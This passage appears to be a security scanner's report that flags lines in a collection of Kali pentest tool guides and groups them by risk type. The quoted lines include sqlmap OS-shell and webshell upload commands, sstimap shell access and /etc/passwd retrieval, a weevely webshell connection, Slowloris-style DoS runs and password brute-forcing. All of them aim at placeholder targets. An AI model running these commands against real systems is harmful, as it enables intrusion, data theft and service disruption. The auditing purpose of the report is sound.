    # Randomize User-Agent and set timeout joomscan -u https://target.com/ --random-agent --timeout 20
  • Network accessline 52
    joomscan -u https://target.com/ --random-agent --timeout 20
  • Network accessline 54
    # Route traffic through an intercepting proxy joomscan -u https://target.com/ --proxy http://127.0.0.1:8080
  • Network accessline 55
    joomscan -u https://target.com/ --proxy http://127.0.0.1:8080
  • Dangerous shell operationline 59
    sudo apt update && sudo apt install --only-upgrade joomscan
  • Network accessline 79
    - [OWASP JoomScan GitHub](https://github.com/OWASP/joomscan)
  • Network accessline 80
    - [Kali joomscan](https://www.kali.org/tools/joomscan/)

kali-pentest/references/web/tools/jwt_tool.md

  • Network accessline 18
    # Or install from GitHub: git clone https://github.com/ticarpi/jwt_tool.git
  • Network accessline 19
    git clone https://github.com/ticarpi/jwt_tool.git
  • Network accessline 48
    [Credential-related source omitted]
  • Network accessline 49
    [Credential-related source omitted]
  • Network accessline 79
    - [jwt_tool (GitHub)](https://github.com/ticarpi/jwt_tool)

kali-pentest/references/web/tools/katana.md

  • Dangerous shell operationline 16
    sudo apt install katana
  • Network accessline 66
    # Crawl one web target katana -u https://target.com -d 3 -silent -o /tmp/katana-urls.txt
  • Network accessline 67
    katana -u https://target.com -d 3 -silent -o /tmp/katana-urls.txt
  • Network accessline 72
    # Parse JavaScript and known files katana -u https://target.com -d 3 -jc -kf all -silent -o /tmp/katana-js.txt
  • Network accessline 73
    katana -u https://target.com -d 3 -jc -kf all -silent -o /tmp/katana-js.txt
  • Network accessline 75
    # JSONL output with form extraction for agent parsing katana -u https://target.com -d 3 -fx -j -o /tmp/katana.jsonl
  • Network accessline 76
    katana -u https://target.com -d 3 -fx -j -o /tmp/katana.jsonl
  • Network accessline 78
    # Headless crawl for JavaScript-heavy applications katana -u https://app.target.com -headless -system-chrome -no-sandbox -d 2 -j -o /tmp/katana-headless.jsonl
  • Network accessline 79
    katana -u https://app.target.com -headless -system-chrome -no-sandbox -d 2 -j -o /tmp/katana-headless.jsonl
  • Network accessline 81
    # Keep crawl inside an explicit scope katana -u https://target.com -fs fqdn -cos logout -d 3 -silent
  • Network accessline 82
    katana -u https://target.com -fs fqdn -cos logout -d 3 -silent
  • Network accessline 84
    # Crawl through an intercepting proxy katana -u https://target.com -proxy http://127.0.0.1:8080 -d 2 -j -o /tmp/katana-proxy.jsonl
  • Network accessline 85
    katana -u https://target.com -proxy http://127.0.0.1:8080 -d 2 -j -o /tmp/katana-proxy.jsonl
  • Network accessline 103
    - [Katana Documentation](https://docs.projectdiscovery.io/tools/katana/overview)
  • Network accessline 104
    - [Katana GitHub](https://github.com/projectdiscovery/katana)

kali-pentest/references/web/tools/kiterunner.md

  • Network accessline 15
    # Download the latest release binary for your architecture from the official repository # (releases are published as kr-linux-amd64 / kr-linux-arm64 etc. — match your platform) curl -L https://github.com/assetnote/kiterunner/releases/latest
  • Network accessline 16
    # (releases are published as kr-linux-amd64 / kr-linux-arm64 etc. — match your platform) curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr chmod +x kr
  • Network accessline 17
    curl -L https://github.com/assetnote/kiterunner/releases/latest/download/kr-linux-amd64 -o kr
  • Dangerous shell operationline 19
    sudo mv kr /usr/local/bin/
  • Network accessline 58
    # Scan one API base URL echo https://target/api | kr scan - -w <api_wordlist.kite>
  • Network accessline 59
    echo https://target/api | kr scan - -w <api_wordlist.kite>
  • Network accessline 61
    # Brute-force with a plain-text wordlist kr brute https://target/api -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 62
    kr brute https://target/api -w /usr/share/wordlists/dirb/common.txt
  • Network accessline 81
    - [Kiterunner GitHub](https://github.com/assetnote/kiterunner)

kali-pentest/references/web/tools/mitmproxy.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install mitmproxy
  • Network accessline 52
    # Send a single curl request through the proxy
  • Network accessline 53
    curl -x http://127.0.0.1:8080 -k https://target.com/
  • Network accessline 66
    # Replay all captured client requests mitmdump -nC /tmp/flows.mitm -w /tmp/replay-result.mitm
  • Network accessline 67
    mitmdump -nC /tmp/flows.mitm -w /tmp/replay-result.mitm
  • Network accessline 72
    # Reverse proxy mode in front of a target service mitmdump --mode reverse:https://target.com \
  • Network accessline 73
    mitmdump --mode reverse:https://target.com \
  • Network accessline 111
    sqlmap -u "https://api.example.com/v3/users/1" \
  • Network accessline 112
    --proxy=http://127.0.0.1:8080 --level=5 --risk=3
  • Network accessline 114
    ffuf -u "https://api.example.com/v3/FUZZ" \
  • Network accessline 115
    -x http://127.0.0.1:8080 -w /usr/share/wordlists/api-routes.txt
  • Network accessline 117
    dalfox url "https://api.example.com/v3/users/self" \
  • Network accessline 118
    --proxy http://127.0.0.1:8080
  • Network accessline 125
    1. Use `mitmdump` instead of the interactive `mitmproxy` UI for unattended agent runs. 2. Clients must trust the mitmproxy CA certificate for TLS interception; browse to `http://mitm.it` through the proxy to install it in interactive test s
  • Network accessline 126
    2. Clients must trust the mitmproxy CA certificate for TLS interception; browse to `http://mitm.it` through the proxy to install it in interactive test setups.
  • Network accessline 138
    - [mitmproxy Documentation](https://docs.mitmproxy.org/stable/)
  • Network accessline 139
    - [mitmproxy Getting Started](https://docs.mitmproxy.org/stable/overview/getting-started/)
  • Network accessline 140
    - [mitmproxy Options](https://docs.mitmproxy.org/stable/concepts/options/)
  • Network accessline 141
    - [mitmproxy Proxy Modes](https://docs.mitmproxy.org/stable/concepts/modes/)
  • Network accessline 142
    - [mitmproxy Kali Package](https://www.kali.org/tools/mitmproxy/)

kali-pentest/references/web/tools/mitmproxy2swagger.md

  • Network accessline 34
    # Convert mitmproxy flows to OpenAPI draft mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api
  • Network accessline 35
    mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api
  • Network accessline 37
    # Include examples mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e
  • Network accessline 38
    mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e
  • Network accessline 40
    # Include headers in examples mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e -hd
  • Network accessline 41
    mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -e -hd
  • Network accessline 43
    # Explicitly specify HAR format and suppress raw param paths mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -f har -s
  • Network accessline 44
    mitmproxy2swagger -i traffic.har -o /tmp/openapi.yaml -p https://target/api -f har -s
  • Network accessline 46
    # Use regex to parameterize UUID path segments mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api \
  • Network accessline 47
    mitmproxy2swagger -i flows.mitm -o /tmp/openapi.yaml -p https://target/api \
  • Network accessline 61
    - [mitmproxy2swagger GitHub](https://github.com/alufers/mitmproxy2swagger)

kali-pentest/references/web/tools/nikto.md

  • Dangerous shell operationline 15
    sudo apt install nikto
  • Network accessline 92
    # Basic scan nikto -h http://target.com
  • Network accessline 93
    nikto -h http://target.com
  • Network accessline 95
    # HTTPS target nikto -h https://target.com -ssl
  • Network accessline 96
    nikto -h https://target.com -ssl
  • Network accessline 113
    # Use Burp proxy nikto -h target.com -useproxy http://127.0.0.1:8080
  • Network accessline 114
    nikto -h target.com -useproxy http://127.0.0.1:8080
  • Network accessline 138
    - [nikto GitHub](https://github.com/sullo/nikto)

kali-pentest/references/web/tools/padbuster.md

  • Dangerous shell operationline 15
    sudo apt install padbuster
  • Network accessline 34
    | `-post <data>` | POST body data (switches request method to POST) | | `-prefix <value>` | Prefix prepended to each encrypted sample | | `-proxy <url>` | HTTP proxy (e.g., `http://127.0.0.1:8080`) |
  • Network accessline 35
    | `-prefix <value>` | Prefix prepended to each encrypted sample | | `-proxy <url>` | HTTP proxy (e.g., `http://127.0.0.1:8080`) | | `-verbose` | Show verbose output including HTTP responses |
  • Network accessline 36
    | `-proxy <url>` | HTTP proxy (e.g., `http://127.0.0.1:8080`) |
  • Network accessline 42
    [Credential-related source omitted]
  • Network accessline 43
    [Credential-related source omitted]
  • Network accessline 45
    # Decrypt a cookie value passed via -cookies padbuster http://target.com/profile "" 16 \
  • Network accessline 46
    padbuster http://target.com/profile "" 16 \
  • Network accessline 50
    [Credential-related source omitted]
  • Network accessline 51
    [Credential-related source omitted]
  • Network accessline 54
    [Credential-related source omitted]
  • Network accessline 55
    [Credential-related source omitted]
  • Network accessline 58
    # Use hex-encoded sample with POST data through a proxy padbuster http://target.com/login "" 16 \
  • Network accessline 59
    padbuster http://target.com/login "" 16 \
  • Network accessline 60
    [Credential-related source omitted]
  • Network accessline 62
    -proxy http://127.0.0.1:8080
  • Network accessline 64
    [Credential-related source omitted]
  • Network accessline 65
    [Credential-related source omitted]
  • Network accessline 81
    - [PadBuster GitHub](https://github.com/strozfriedberg/PadBuster)
  • Network accessline 82
    - [Kali Tools — padbuster](https://www.kali.org/tools/padbuster/)

kali-pentest/references/web/tools/phpggc.md

  • Dangerous shell operationline 15
    sudo apt install phpggc
  • Network accessline 84
    - [PHPGGC GitHub](https://github.com/ambionics/phpggc)
  • Network accessline 85
    - [Kali Tools — phpggc](https://www.kali.org/tools/phpggc/)

kali-pentest/references/web/tools/schemathesis.md

  • Network accessline 55
    # Run OpenAPI tests with conservative limits schemathesis run https://target/openapi.json --checks all --rate-limit 5/s --report har --report-dir /tmp/schemathesis
  • Network accessline 56
    schemathesis run https://target/openapi.json --checks all --rate-limit 5/s --report har --report-dir /tmp/schemathesis
  • Network accessline 58
    [Credential-related source omitted]
  • Network accessline 59
    [Credential-related source omitted]
  • Network accessline 61
    # Reduce generated cases for quick triage schemathesis run ./openapi.json --url https://target --max-examples 20
  • Network accessline 62
    schemathesis run ./openapi.json --url https://target --max-examples 20
  • Network accessline 64
    # Run only coverage and fuzzing phases with 4 workers schemathesis run https://target/openapi.json --phases coverage,fuzzing -w 4
  • Network accessline 65
    schemathesis run https://target/openapi.json --phases coverage,fuzzing -w 4
  • Network accessline 67
    # Wait for schema availability (useful in CI) schemathesis run https://target/openapi.json --wait-for-schema 30
  • Network accessline 68
    schemathesis run https://target/openapi.json --wait-for-schema 30
  • Network accessline 81
    - [Schemathesis Documentation](https://schemathesis.readthedocs.io/)
  • Network accessline 82
    - [Schemathesis GitHub](https://github.com/schemathesis/schemathesis)

kali-pentest/references/web/tools/slowhttptest.md

  • Dangerous shell operationline 15
    sudo apt install slowhttptest
  • Network accessline 24
    | `-R` | Range attack mode (Apache killer) | | `-X` | Slow read mode | | `-u <URL>` | Absolute URL of target (default: http://localhost/) |
  • Network accessline 25
    | `-X` | Slow read mode | | `-u <URL>` | Absolute URL of target (default: http://localhost/) | | `-c <num>` | Target number of connections (default: 50) |
  • Network accessline 26
    | `-u <URL>` | Absolute URL of target (default: http://localhost/) |
  • Network accessline 51
    # Slowloris attack — 1000 connections over 300 seconds slowhttptest -c 1000 -H -i 10 -r 200 -l 300 \   -u http://target.com/ -t GET -o /tmp/slowloris -g
  • Network accessline 52
    slowhttptest -c 1000 -H -i 10 -r 200 -l 300    -u http://target.com/ -t GET -o /tmp/slowloris -g
  • Network accessline 53
    -u http://target.com/ -t GET -o /tmp/slowloris -g
  • Network accessline 55
    # Slow POST attack — send body slowly slowhttptest -c 1000 -B -i 110 -r 200 -l 300 \   -s 8192 -u http://target.com/login -t POST \
  • Network accessline 56
    slowhttptest -c 1000 -B -i 110 -r 200 -l 300    -s 8192 -u http://target.com/login -t POST
  • Network accessline 57
    -s 8192 -u http://target.com/login -t POST \
  • Network accessline 60
    # Slow Read attack — small receive window slowhttptest -c 1000 -X -r 200 -l 300 \   -u http://target.com/ -o /tmp/slowread -g
  • Network accessline 61
    slowhttptest -c 1000 -X -r 200 -l 300    -u http://target.com/ -o /tmp/slowread -g
  • Network accessline 62
    -u http://target.com/ -o /tmp/slowread -g
  • Network accessline 64
    # Range header attack slowhttptest -c 500 -R -r 100 -l 180 \   -u http://target.com/ -o /tmp/range -g
  • Network accessline 65
    slowhttptest -c 500 -R -r 100 -l 180    -u http://target.com/ -o /tmp/range -g
  • Network accessline 66
    -u http://target.com/ -o /tmp/range -g
  • Network accessline 68
    # Slowloris via HTTPS with high verbosity slowhttptest -c 500 -H -i 10 -r 100 -l 240 \   -u https://target.com/ -v 4 -o /tmp/slowloris_https -g
  • Network accessline 69
    slowhttptest -c 500 -H -i 10 -r 100 -l 240    -u https://target.com/ -v 4 -o /tmp/slowloris_https -g
  • Network accessline 70
    -u https://target.com/ -v 4 -o /tmp/slowloris_https -g
  • Network accessline 72
    # Quick resilience check — short test, moderate connections slowhttptest -c 200 -H -i 10 -r 50 -l 60 \   -u http://target.com/ -o /tmp/quick_test -g
  • Network accessline 73
    slowhttptest -c 200 -H -i 10 -r 50 -l 60    -u http://target.com/ -o /tmp/quick_test -g
  • Network accessline 74
    -u http://target.com/ -o /tmp/quick_test -g
  • Network accessline 89
    - [SlowHTTPTest GitHub](https://github.com/shekyan/slowhttptest)
  • Network accessline 90
    - [Kali Tools — slowhttptest](https://www.kali.org/tools/slowhttptest/)

kali-pentest/references/web/tools/sqlmap.md

  • Network accessline 23
    # Get the latest version from GitHub git clone https://github.com/sqlmapproject/sqlmap.git
  • Network accessline 24
    git clone https://github.com/sqlmapproject/sqlmap.git
  • Network accessline 147
    # Check if URL parameter has an injection sqlmap -u "http://target.com/page.php?id=1"
  • Network accessline 148
    sqlmap -u "http://target.com/page.php?id=1"
  • Network accessline 150
    # Auto batch mode, detect and list databases sqlmap -u "http://target.com/page.php?id=1" --batch --dbs
  • Network accessline 151
    sqlmap -u "http://target.com/page.php?id=1" --batch --dbs
  • Network accessline 157
    # Specify POST data sqlmap -u "http://target.com/login.php" \
  • Network accessline 158
    sqlmap -u "http://target.com/login.php" \
  • Network accessline 162
    # Test only a specified parameter (mark injection point with *) sqlmap -u "http://target.com/login.php" \
  • Network accessline 163
    sqlmap -u "http://target.com/login.php" \
  • Network accessline 180
    sqlmap -u "http://target.com/page.php" \
  • Network accessline 188
    # Use random User-Agent + common Tamper scripts sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 189
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 195
    # Common Tamper script combination sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 196
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 203
    # Get current database and user sqlmap -u "http://target.com/page.php?id=1" --current-db --current-user
  • Network accessline 204
    sqlmap -u "http://target.com/page.php?id=1" --current-db --current-user
  • Network accessline 206
    # Enumerate all tables in a specified database sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables
  • Network accessline 207
    sqlmap -u "http://target.com/page.php?id=1" -D webapp --tables
  • Network accessline 209
    # Export data from a specified table sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 210
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 213
    # Export specific columns with row limit sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 214
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 222
    # Check for DBA privileges sqlmap -u "http://target.com/page.php?id=1" --is-dba
  • Network accessline 223
    sqlmap -u "http://target.com/page.php?id=1" --is-dba
  • Network accessline 225
    # Attempt to get an OS shell (requires DBA privileges) sqlmap -u "http://target.com/page.php?id=1" --os-shell
  • Network accessline 226
    sqlmap -u "http://target.com/page.php?id=1" --os-shell
  • Network accessline 228
    # Read a server file sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 229
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 232
    # Upload a file (Webshell) sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 233
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 241
    sqlmap -u "http://target.com/page.php?id=1" \
  • Network accessline 242
    --proxy="http://127.0.0.1:8080" \
  • Network accessline 262
    - [sqlmap GitHub](https://github.com/sqlmapproject/sqlmap)
  • Network accessline 263
    - [sqlmap Wiki](https://github.com/sqlmapproject/sqlmap/wiki)
  • Network accessline 264
    - [sqlmap Official Site](https://sqlmap.org/)

kali-pentest/references/web/tools/sstimap.md

  • Dangerous shell operationline 15
    sudo apt install sstimap
  • Network accessline 56
    # Basic SSTI detection on a GET parameter sstimap -u "http://example.com/search?name=*"
  • Network accessline 57
    sstimap -u "http://example.com/search?name=*"
  • Network accessline 59
    # POST data injection sstimap -u "http://example.com/render" -d "template=*&user=admin"
  • Network accessline 60
    sstimap -u "http://example.com/render" -d "template=*&user=admin"
  • Network accessline 62
    # Execute OS command after detecting SSTI sstimap -u "http://example.com/search?name=*" -S "id"
  • Network accessline 63
    sstimap -u "http://example.com/search?name=*" -S "id"
  • Network accessline 65
    # Get an interactive shell sstimap -u "http://example.com/search?name=*" -s
  • Network accessline 66
    sstimap -u "http://example.com/search?name=*" -s
  • Network accessline 68
    # Download a file from the server sstimap -u "http://example.com/search?name=*" -D "/etc/passwd" "./passwd.txt"
  • Network accessline 69
    sstimap -u "http://example.com/search?name=*" -D "/etc/passwd" "./passwd.txt"
  • Network accessline 71
    # Force Jinja2 engine (skip detection) sstimap -u "http://example.com/search?name=*" -e Jinja2
  • Network accessline 72
    sstimap -u "http://example.com/search?name=*" -e Jinja2
  • Network accessline 74
    # With authentication cookie sstimap -u "http://example.com/profile?name=*" --cookie "session=abc123"
  • Network accessline 75
    sstimap -u "http://example.com/profile?name=*" --cookie "session=abc123"
  • Network accessline 77
    # Route through Burp Suite proxy sstimap -u "http://example.com/search?name=*" --proxy http://127.0.0.1:8080
  • Network accessline 78
    sstimap -u "http://example.com/search?name=*" --proxy http://127.0.0.1:8080
  • Network accessline 93
    - [SSTImap (GitHub)](https://github.com/vladko312/SSTImap)
  • Network accessline 94
    - [Kali sstimap](https://www.kali.org/tools/sstimap/)

kali-pentest/references/web/tools/subjack.md

  • Dangerous shell operationline 15
    sudo apt install subjack
  • Network accessline 71
    - [Subjack GitHub](https://github.com/haccer/subjack)
  • Network accessline 72
    - [Kali Tools — subjack](https://www.kali.org/tools/subjack/)

kali-pentest/references/web/tools/tinja.md

  • Dangerous shell operationline 15
    sudo apt install tinja -y
  • Network accessline 44
    # Test GET parameters for SSTI tinja url "http://target.com/page?name=test"
  • Network accessline 45
    tinja url "http://target.com/page?name=test"
  • Network accessline 51
    # Test POST parameters (include data in the URL query or use a config file) tinja url "http://target.com/render?template=test&name=value"
  • Network accessline 52
    tinja url "http://target.com/render?template=test&name=value"
  • Network accessline 58
    # Scan with authentication cookies tinja url "http://target.com/page?name=test" \
  • Network accessline 59
    tinja url "http://target.com/page?name=test" \
  • Network accessline 66
    # Route through Burp Suite proxy tinja url "http://target.com/page?name=test" \
  • Network accessline 67
    tinja url "http://target.com/page?name=test" \
  • Network accessline 68
    --proxyurl http://127.0.0.1:8080
  • Network accessline 74
    # Scan multiple URLs tinja url "http://target.com/page?name=test" "http://target.com/other?q=test"
  • Network accessline 75
    tinja url "http://target.com/page?name=test" "http://target.com/other?q=test"
  • Network accessline 84
    # Enable both SSTI and CSTI scanning tinja url "http://target.com/page?name=test" --csti
  • Network accessline 85
    tinja url "http://target.com/page?name=test" --csti
  • Network accessline 100
    - [TInjA GitHub](https://github.com/Hackmanit/TInjA)
  • Network accessline 101
    - [Kali Tools - tinja](https://www.kali.org/tools/tinja/)

kali-pentest/references/web/tools/wapiti.md

  • Dangerous shell operationline 15
    sudo apt install wapiti
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 61
    # Full site scan with HTML report wapiti -u http://target.com/ -f html -o /tmp/wapiti_report
  • Network accessline 62
    wapiti -u http://target.com/ -f html -o /tmp/wapiti_report
  • Network accessline 64
    # Scan specific modules only (XSS and SQL injection) wapiti -u http://target.com/ -m xss,sql -o /tmp/wapiti_report
  • Network accessline 65
    wapiti -u http://target.com/ -m xss,sql -o /tmp/wapiti_report
  • Network accessline 67
    # Authenticated scan with basic auth (use --auth-user/--auth-password; -a/--auth-cred is deprecated) wapiti -u http://target.com/ --auth-user admin --auth-password password123 --auth-method basic
  • Network accessline 68
    wapiti -u http://target.com/ --auth-user admin --auth-password password123 --auth-method basic
  • Network accessline 70
    # Restrict scope to a single folder wapiti -u http://target.com/app/ --scope folder -o /tmp/wapiti_report
  • Network accessline 71
    wapiti -u http://target.com/app/ --scope folder -o /tmp/wapiti_report
  • Network accessline 73
    # Scan through a proxy with JSON report wapiti -u http://target.com/ -p http://127.0.0.1:8080 -f json -o /tmp/wapiti_report.json
  • Network accessline 74
    wapiti -u http://target.com/ -p http://127.0.0.1:8080 -f json -o /tmp/wapiti_report.json
  • Network accessline 76
    # Exclude logout URL and limit crawl depth wapiti -u http://target.com/ -x "http://target.com/logout" --max-links-per-page 500
  • Network accessline 77
    wapiti -u http://target.com/ -x "http://target.com/logout" --max-links-per-page 500
  • Network accessline 79
    # Flush previous session and rescan with verbose output wapiti -u http://target.com/ --flush-session -v 2 -o /tmp/wapiti_report
  • Network accessline 80
    wapiti -u http://target.com/ --flush-session -v 2 -o /tmp/wapiti_report
  • Network accessline 97
    - [Wapiti Official Site](https://wapiti-scanner.github.io/)
  • Network accessline 98
    - [Wapiti GitHub](https://github.com/wapiti-scanner/wapiti)
  • Network accessline 99
    - [Kali wapiti](https://www.kali.org/tools/wapiti/)

kali-pentest/references/web/tools/websocat.md

  • Network accessline 15
    # Download static binary (no Rust toolchain needed) curl -sL https://github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl \
  • Network accessline 16
    curl -sL https://github.com/vi/websocat/releases/latest/download/websocat.x86_64-unknown-linux-musl \
  • Network accessline 60
    - [websocat GitHub](https://github.com/vi/websocat)

kali-pentest/references/web/tools/weevely.md

  • Dangerous shell operationline 15
    sudo apt install weevely
  • Network accessline 45
    # Connect to the deployed agent weevely http://target.com/uploads/agent.php MyS3cretPass
  • Network accessline 46
    weevely http://target.com/uploads/agent.php MyS3cretPass
  • Network accessline 99
    - [Weevely3 GitHub](https://github.com/epinna/weevely3)
  • Network accessline 100
    - [Kali Tools — weevely](https://www.kali.org/tools/weevely/)

kali-pentest/references/web/tools/wfuzz.md

  • Network accessline 119
    # Basic directory enumeration, filter 404 wfuzz -u http://target.com/FUZZ \
  • Network accessline 120
    wfuzz -u http://target.com/FUZZ \
  • Network accessline 124
    # Multi-threaded directory enumeration wfuzz -u http://target.com/FUZZ \
  • Network accessline 125
    wfuzz -u http://target.com/FUZZ \
  • Network accessline 129
    # Enumerate specific extension files (using FUZ2Z) wfuzz -u http://target.com/FUZZ.FUZ2Z \
  • Network accessline 130
    wfuzz -u http://target.com/FUZZ.FUZ2Z \
  • Network accessline 139
    # Discover hidden parameters wfuzz -u "http://target.com/page.php?FUZZ=test" \
  • Network accessline 140
    wfuzz -u "http://target.com/page.php?FUZZ=test" \
  • Network accessline 144
    # Parameter value fuzzing wfuzz -u "http://target.com/page.php?id=FUZZ" \
  • Network accessline 145
    wfuzz -u "http://target.com/page.php?id=FUZZ" \
  • Network accessline 153
    # Login brute-force wfuzz -u http://target.com/login.php \
  • Network accessline 154
    wfuzz -u http://target.com/login.php \
  • Network accessline 162
    # Credential brute-force (dual FUZZ: both username and password) wfuzz -u http://target.com/login.php \
  • Network accessline 163
    wfuzz -u http://target.com/login.php \
  • Network accessline 174
    wfuzz -u http://target.com/page.php \
  • Network accessline 183
    # Test X-Forwarded-For IP spoofing wfuzz -u http://target.com/admin \
  • Network accessline 184
    wfuzz -u http://target.com/admin \
  • Network accessline 189
    # Test Host Header injection wfuzz -u http://target.com/page.php \
  • Network accessline 190
    wfuzz -u http://target.com/page.php \
  • Network accessline 199
    # URL-encode payload wfuzz -u "http://target.com/page.php?path=FUZZ" \
  • Network accessline 200
    wfuzz -u "http://target.com/page.php?path=FUZZ" \
  • Network accessline 204
    # Double encoding (chained: urlencode applied twice, stacked) wfuzz -u "http://target.com/page.php?path=FUZZ" \
  • Network accessline 205
    wfuzz -u "http://target.com/page.php?path=FUZZ" \
  • Network accessline 209
    # Chained URL-then-base64 encoding (urlencode first, then base64 on top) wfuzz -u "http://target.com/page.php?data=FUZZ" \
  • Network accessline 210
    wfuzz -u "http://target.com/page.php?data=FUZZ" \
  • Network accessline 214
    # Base64 encoding wfuzz -u "http://target.com/page.php?data=FUZZ" \
  • Network accessline 215
    wfuzz -u "http://target.com/page.php?data=FUZZ" \
  • Network accessline 223
    # DNS-based subdomain brute-force: FUZZ the hostname in the URL # The Host header is derived automatically — no need to add -H here wfuzz -u http://FUZZ.target.com \
  • Network accessline 224
    # The Host header is derived automatically — no need to add -H here wfuzz -u http://FUZZ.target.com \   -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  • Network accessline 225
    wfuzz -u http://FUZZ.target.com \
  • Network accessline 243
    - [wfuzz GitHub](https://github.com/xmendez/wfuzz)
  • Network accessline 244
    - [wfuzz Documentation](https://wfuzz.readthedocs.io/)

kali-pentest/references/web/tools/wpscan.md

  • Dangerous shell operationline 15
    sudo apt install wpscan
  • Network accessline 36
    | `--usernames LIST` | List of usernames to use during the password attack | | `--api-token TOKEN` | WPScan API Token to display vulnerability data | | `--proxy URL` | Supported protocols depend on the cURL installed |
  • Network accessline 37
    | `--api-token TOKEN` | WPScan API Token to display vulnerability data | | `--proxy URL` | Supported protocols depend on the cURL installed | | `-o FILE` | Output file |
  • Network accessline 38
    | `--proxy URL` | Supported protocols depend on the cURL installed |
  • Network accessline 45
    # Basic scan wpscan --url http://target.com
  • Network accessline 46
    wpscan --url http://target.com
  • Network accessline 48
    # Enumerate everything (users + plugins + themes) wpscan --url http://target.com --enumerate u,p,t
  • Network accessline 49
    wpscan --url http://target.com --enumerate u,p,t
  • Network accessline 51
    # Enumerate vulnerable plugins only (reduce noise) wpscan --url http://target.com --enumerate vp
  • Network accessline 52
    wpscan --url http://target.com --enumerate vp
  • Network accessline 54
    # Passive mode (reduce request volume) wpscan --url http://target.com --enumerate p --detection-mode passive
  • Network accessline 55
    wpscan --url http://target.com --enumerate p --detection-mode passive
  • Network accessline 57
    # Password brute-force (need to enumerate usernames first) wpscan --url http://target.com --usernames admin --passwords /usr/share/wordlists/rockyou.txt
  • Network accessline 58
    wpscan --url http://target.com --usernames admin --passwords /usr/share/wordlists/rockyou.txt
  • Network accessline 60
    # Use API Token (recommended; improves vulnerability coverage) wpscan --url http://target.com --api-token YOUR_TOKEN --enumerate vp
  • Network accessline 61
    wpscan --url http://target.com --api-token YOUR_TOKEN --enumerate vp
  • Network accessline 63
    # Output JSON report wpscan --url http://target.com --enumerate u,vp --format json -o /tmp/wpscan_result.json
  • Network accessline 64
    wpscan --url http://target.com --enumerate u,vp --format json -o /tmp/wpscan_result.json
  • Network accessline 67
    ## Notes & Tips 1. Free API Token allows 25 API requests per day; recommended to register at: https://wpscan.com/register — without a token, vulnerability coverage is significantly reduced.
  • Network accessline 68
    1. Free API Token allows 25 API requests per day; recommended to register at: https://wpscan.com/register — without a token, vulnerability coverage is significantly reduced.
  • Network accessline 78
    - [WPScan GitHub](https://github.com/wpscanteam/wpscan)
  • Network accessline 79
    - [WPScan Vulnerability Database & API](https://wpscan.com/)

kali-pentest/references/web/tools/xsstrike.md

  • Dangerous shell operationline 15
    sudo apt install xsstrike
  • Network accessline 15
    sudo apt install xsstrike # Or from GitHub: git clone https://github.com/s0md3v/XSStrike.git
  • Network accessline 16
    # Or from GitHub: git clone https://github.com/s0md3v/XSStrike.git cd XSStrike && pip3 install -r requirements.txt
  • Network accessline 17
    git clone https://github.com/s0md3v/XSStrike.git
  • Network accessline 40
    # Test a single GET parameter python3 xsstrike.py -u "http://example.com/search?q=test"
  • Network accessline 41
    python3 xsstrike.py -u "http://example.com/search?q=test"
  • Network accessline 43
    # POST request python3 xsstrike.py -u "http://example.com/comment" --data "body=test&submit=1"
  • Network accessline 44
    python3 xsstrike.py -u "http://example.com/comment" --data "body=test&submit=1"
  • Network accessline 46
    # Crawl the entire site and test all parameters python3 xsstrike.py -u "http://example.com" --crawl -l 3
  • Network accessline 47
    python3 xsstrike.py -u "http://example.com" --crawl -l 3
  • Network accessline 49
    # Blind XSS (payload callbacks to an external server) python3 xsstrike.py -u "http://example.com/contact" --blind
  • Network accessline 50
    python3 xsstrike.py -u "http://example.com/contact" --blind
  • Network accessline 52
    # Route through Burp Suite proxy (configure proxy URL in core/config.py first) python3 xsstrike.py -u "http://example.com/search?q=test" --proxy
  • Network accessline 53
    python3 xsstrike.py -u "http://example.com/search?q=test" --proxy
  • Network accessline 55
    # Add authentication cookie python3 xsstrike.py -u "http://example.com/profile?id=1" --headers '{"Cookie": "session=abc123"}'
  • Network accessline 56
    python3 xsstrike.py -u "http://example.com/profile?id=1" --headers '{"Cookie": "session=abc123"}'
  • Network accessline 71
    - [XSStrike (GitHub)](https://github.com/s0md3v/XSStrike)
  • Network accessline 72
    - [Kali xsstrike](https://www.kali.org/tools/xsstrike/)

kali-pentest/references/web/tools/zaproxy.md

  • Dangerous shell operationline 15
    sudo apt update
  • Dangerous shell operationline 16
    sudo apt install zaproxy
  • Network accessline 59
    # Quick scan and save HTML output zaproxy -cmd \   -quickurl https://target.com \
  • Network accessline 60
    zaproxy -cmd    -quickurl https://target.com
  • Network accessline 61
    -quickurl https://target.com \
  • Network accessline 70
    # Confirm the API is reachable curl "http://127.0.0.1:8080/JSON/core/view/version/"
  • Network accessline 71
    curl "http://127.0.0.1:8080/JSON/core/view/version/"
  • Network accessline 84
    # Passive baseline scan: suitable for CI/CD and production-safe checks docker run -v "$(pwd)":/zap/wrk/:rw -t ghcr.io/zaproxy/zaproxy:stable \   zap-baseline.py -t https://target.com -r zap-baseline.html -J zap-baseline.json
  • Network accessline 85
